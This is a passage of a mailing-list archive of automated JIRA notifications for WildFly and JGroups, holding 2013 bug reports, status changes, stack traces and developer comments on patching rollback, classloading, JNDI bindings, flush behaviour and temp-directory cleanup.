>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:235) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:124) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:148) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.access$300(ModelControllerClientOperationHandler.java:97) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:114) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122)
> {noformat}
> Test for this created as NonStandardSituationsTestCase#testWritePermissionDenied

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:37:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 06:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1803) Failure to undo a patching
 process which fails
In-Reply-To: <JIRA.12497764.1375362634000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497764.1375362634000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497764.1375362634000.29935.1379414224032@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1803?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804986#comment-12804986 ] 

RH Bugzilla Integration commented on WFLY-1803:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1008913|https://bugzilla.redhat.com/show_bug.cgi?id=1008913] from NEW to VERIFIED
                
> Failure to undo a patching process which fails
> ----------------------------------------------
>
>                 Key: WFLY-1803
>                 URL: https://issues.jboss.org/browse/WFLY-1803
>             Project: WildFly
>          Issue Type: Bug
>          Components: Patching
>            Reporter: Jan Martiska
>            Assignee: Emanuel Muckenhuber
>             Fix For: 8.0.0.Beta1
>
>
> Scenario:
> A patch tries to modify a misc file, but the process doesn't have write permissions for it (or some other kind of exception occurs, I can imagine an IOException when writing to files)
> In this case, the patching process fails and is unable to recover - it leaves files which were patched successfully and doesn't revert them to original.
> Suppose a patch modifies files f1 and f2. f1 comes first, and is patched successfully. f2 fails because of lack of permissions (by the way, the exception which causes this should appear in the log somewhere, but it doesn't!!).. f1 is not reverted back, because:
> {noformat}
> 15:00:18,525 WARN  [org.jboss.as.patching] (management-handler-thread - 4) failed to undo change (org.jboss.as.patching.metadata.ContentModification at 1e5bcf80): java.io.FileNotFoundException: /home/jmartisk/Workspace/jboss-eap/testsuite/integration/patching/target/jbossas/.installation/patches/aed03246-56a7-406b-9dd5-add81779d951/misc/f1 (No such file or directory)
>         at java.io.FileInputStream.open(Native Method) [rt.jar:1.7.0_25]
>         at java.io.FileInputStream.<init>(FileInputStream.java:138) [rt.jar:1.7.0_25]
>         at org.jboss.as.patching.runner.PatchContentLoader.openContentStream(PatchContentLoader.java:71) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.AbstractFileTask.apply(AbstractFileTask.java:91) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.AbstractPatchingTask.execute(AbstractPatchingTask.java:139) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:300) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.undoChanges(IdentityPatchContext.java:278) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchContext.cleanup(IdentityPatchContext.java:142) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.IdentityPatchRunner.applyPatch(IdentityPatchRunner.java:86) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.PatchToolImpl.execute(PatchToolImpl.java:205) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.runner.PatchToolImpl.applyPatch(PatchToolImpl.java:154) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.patching.management.LocalPatchOperationStepHandler.execute(LocalPatchOperationStepHandler.java:69) [wildfly-patching-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:235) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:124) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:148) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.access$300(ModelControllerClientOperationHandler.java:97) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:114) [wildfly-controller-8.0.0.Alpha4-SNAPSHOT.jar:8.0.0.Alpha4-SNAPSHOT]
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
>         at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122)
> {noformat}
> Test for this created as NonStandardSituationsTestCase#testWritePermissionDenied

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 06:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1650) Legacy subsystem testing
 needs some classloading exclusion mecanism
In-Reply-To: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495799.1373019038000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495799.1373019038000.29948.1379414463473@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1650?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804991#comment-12804991 ] 

RH Bugzilla Integration commented on WFLY-1650:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 980923|https://bugzilla.redhat.com/show_bug.cgi?id=980923] from POST to MODIFIED
                
> Legacy subsystem testing needs some classloading exclusion mecanism
> -------------------------------------------------------------------
>
>                 Key: WFLY-1650
>                 URL: https://issues.jboss.org/browse/WFLY-1650
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging, Test Suite
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> When translation messages are used (which is the case of EAP) we have conflicts between generated $logger classes when testing submodules.
> Some $logger classes exis thus they are loaded by the parent classloader before the childfirstclassloader tries to load them, thus we have a potential ClassCastException brewing. 
> For exemple this breaks the EAP build on a French OS.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:43:04 2013
From: jira-events at lists.jboss.org (Martin Kouba (JIRA))
Date: Tue, 17 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469799@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469799@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469799.29951.1379414584027@jira02.app.mwc.hst.phx2.redhat.com>

Martin Kouba created WFLY-2096:
----------------------------------

             Summary: WeldApplicationFactory doesn't implement setApplication() correctly
                 Key: WFLY-2096
                 URL: https://issues.jboss.org/browse/WFLY-2096
             Project: WildFly
          Issue Type: Bug
          Components: CDI / Weld, JSF
    Affects Versions: 8.0.0.Alpha4
            Reporter: Martin Kouba
            Assignee: Stuart Douglas


The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).

[1]
https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:43:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1699) JChannel.startFlush cannot
 block any member sending message
In-Reply-To: <JIRA.12500823.1379408822000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500823.1379408822000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500823.1379408822000.29959.1379414584414@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1699?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804993#comment-12804993 ] 

Bela Ban commented on JGRP-1699:
--------------------------------

You need to set FLUSH.timeout to 0 to keep a sender blocked until the flush has completed.

Could you please discuss questions like these on the mailing list before creating JIRA issues ?
                
> JChannel.startFlush cannot block any member sending message
> -----------------------------------------------------------
>
>                 Key: JGRP-1699
>                 URL: https://issues.jboss.org/browse/JGRP-1699
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Using following config:
> <config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
> <UDP />
> <PING />
> <MERGE2 />
> <FD_SOCK />
> <FD_ALL />
> <VERIFY_SUSPECT />
> <pbcast.NAKACK2 />
> <UNICAST3 />
> <pbcast.STABLE />
> <pbcast.GMS />
> <UFC />
> <MFC />
> <FRAG2 />
> <pbcast.STATE_TRANSFER />
> <pbcast.FLUSH timeout="500"/>
> </config>
> Review javadoc for JChannel.startFlush
> public void startFlush(boolean automatic_resume) throws java.lang.Exception
> After this call returns, no member will be sending any messages until Channel.stopFlush() is called.
> And with my case used startFlush(false), after this method without stopFlush, all members can still send/receive. 
> Is this method should not blocking the sending?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:43:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 06:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1699) JChannel.startFlush cannot
 block any member sending message
In-Reply-To: <JIRA.12500823.1379408822000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500823.1379408822000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500823.1379408822000.29963.1379414584544@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1699?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1699.
----------------------------

    Resolution: Rejected

    
> JChannel.startFlush cannot block any member sending message
> -----------------------------------------------------------
>
>                 Key: JGRP-1699
>                 URL: https://issues.jboss.org/browse/JGRP-1699
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Using following config:
> <config xmlns="urn:org:jgroups" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:org:jgroups http://www.jgroups.org/schema/JGroups-3.3.xsd">
> <UDP />
> <PING />
> <MERGE2 />
> <FD_SOCK />
> <FD_ALL />
> <VERIFY_SUSPECT />
> <pbcast.NAKACK2 />
> <UNICAST3 />
> <pbcast.STABLE />
> <pbcast.GMS />
> <UFC />
> <MFC />
> <FRAG2 />
> <pbcast.STATE_TRANSFER />
> <pbcast.FLUSH timeout="500"/>
> </config>
> Review javadoc for JChannel.startFlush
> public void startFlush(boolean automatic_resume) throws java.lang.Exception
> After this call returns, no member will be sending any messages until Channel.stopFlush() is called.
> And with my case used startFlush(false), after this method without stopFlush, all members can still send/receive. 
> Is this method should not blocking the sending?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 06:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.29982.1379414824286@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804996#comment-12804996 ] 

RH Bugzilla Integration commented on WFLY-1547:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1004383|https://bugzilla.redhat.com/show_bug.cgi?id=1004383] from NEW to MODIFIED
                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:49:04 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Tue, 17 Sep 2013 06:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2070) Allow for deployable JNDI
	resource file
In-Reply-To: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500689.1379080909000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500689.1379080909000.30003.1379414944181@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2070?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins resolved WFLY-2070.
-----------------------------------

    Resolution: Rejected


rejecting the feature until some reasoning is provided why the existent functionality is not enough
                
> Allow for deployable JNDI resource file
> ---------------------------------------
>
>                 Key: WFLY-2070
>                 URL: https://issues.jboss.org/browse/WFLY-2070
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Lieven Doclo
>            Assignee: Eduardo Martins
>
> It would be nice to have a deployable xml file to add simple JNDI bindings. Something like the *-ds.xml files.
> For example:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <naming>
>   <bindings>
>     <simple name="java:/url/some_url_resource" value="file://..." type="java.net.URL"/>
>   </bindings>
> </naming>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:49:04 2013
From: jira-events at lists.jboss.org (Martin Kouba (JIRA))
Date: Tue, 17 Sep 2013 06:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2096) WeldApplicationFactory
 doesn't implement setApplication() correctly
In-Reply-To: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500836.1379414469000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500836.1379414469000.30006.1379414944333@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2096?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Martin Kouba updated WFLY-2096:
-------------------------------

    Forum Reference: https://community.jboss.org/thread/232605

    
> WeldApplicationFactory doesn't implement setApplication() correctly
> -------------------------------------------------------------------
>
>                 Key: WFLY-2096
>                 URL: https://issues.jboss.org/browse/WFLY-2096
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, JSF
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Martin Kouba
>            Assignee: Stuart Douglas
>
> The problem is described in WELD-913. The fix was only applied to Weld servlet support [1] and not AS7/WildFly8 integration code (most probably because the target environment of the issue was Tomcat).
> [1]
> https://github.com/weld/core/blob/master/environments/servlet/core/src/main/java/org/jboss/weld/environment/servlet/jsf/WeldApplicationFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:51:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Tue, 17 Sep 2013 06:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1731) Bad management of bind owner
 at the WritableServiceBasedNamingStore
In-Reply-To: <JIRA.12497028.1374497684000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497028.1374497684000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497028.1374497684000.30008.1379415063359@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1731?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Eduardo Martins resolved WFLY-1731.
-----------------------------------

    Resolution: Done

    
> Bad management of bind owner at the WritableServiceBasedNamingStore
> -------------------------------------------------------------------
>
>                 Key: WFLY-1731
>                 URL: https://issues.jboss.org/browse/WFLY-1731
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.Beta1
>
>
> Each EE deployment maintains a set of service names wrt bindings it "owns", which should be removed when the deployment stops, and the management of these is not proper on unbind and rebind done at the naming store.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 06:53:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Tue, 17 Sep 2013 06:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.30013.1379415183469@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805003#comment-12805003 ] 

jaikiran pai commented on WFLY-1547:
------------------------------------

[~bmaxwell], can you please get someone from your team to test this out against the latest nightly builds available here https://community.jboss.org/thread/224262?

                
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:07:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 17 Sep 2013 07:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2094) Different results for
 read-resource operation in WildFly master and EAP 6.x
In-Reply-To: <JIRA.12500824.1379409526000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500824.1379409526000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500824.1379409526000.30051.1379416023923@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2094?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805010#comment-12805010 ] 

Brian Stansberry commented on WFLY-2094:
----------------------------------------

This is because when the management http server was changed to undertow, the logic changed to only send the failure-description. For example,

https://github.com/wildfly/wildfly/commit/e8369c3#L11L327

Likely a simple enough fix.
                
> Different results for read-resource operation in WildFly master and EAP 6.x
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-2094
>                 URL: https://issues.jboss.org/browse/WFLY-2094
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Harald Pehl
>            Assignee: Brian Stansberry
>
> When executing a read-resource operation for a model node that does not exist, I get different results in WildFly master and EAP 6.x:
> {code:title=WildFly master}
> "JBAS014807: Management resource '[
>     (\"core-service\" => \"management\"),
>     (\"access\" => \"authorization\"),
>     (\"role-mapping\" => \"Administrator\")
> ]' not found"
> {code}
> {code:title=EAP 6.1}
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management-Ressource '[
>     (\"core-service\" => \"management\"),
>     (\"access\" => \"authorization\"),
>     (\"role-mapping\" => \"Administrator\")
> ]' nicht gefunden",
>     "rolled-back" => true
> }
> {code}
> In EAP 6.x I get the correct error result which includes {{"outcome" => "failed"}} whereas in WildFly I just receive the error message wihtout the surrounding model node. 
> The error occurs when using the HTTP protocol. Using the CLI / native interface both versions return the correct (complete) error response.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:14:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 07:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.30062.1379416443492@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805014#comment-12805014 ] 

RH Bugzilla Integration commented on WFLY-101:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1003913|https://bugzilla.redhat.com/show_bug.cgi?id=1003913] from NEW to MODIFIED
                
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 07:18:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 07:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1693) log4j2: performance impact
In-Reply-To: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500601.1378990895000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500601.1378990895000.30077.1379416683764@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1693?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805018#comment-12805018 ] 

Bela Ban commented on JGRP-1693:
--------------------------------

The short-term solution is to use the log.isTraceEnabled() check for time critical places, e.g. in UNICAST/NAKACK
                
> log4j2: performance impact
> --------------------------
>
>                 Key: JGRP-1693
>                 URL: https://issues.jboss.org/browse/JGRP-1693
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: bla5.java, log4j2.xml
>
>
> I'm seeing sub-par performance with the program below, and thought maybe some of the bright folks on this list could help...
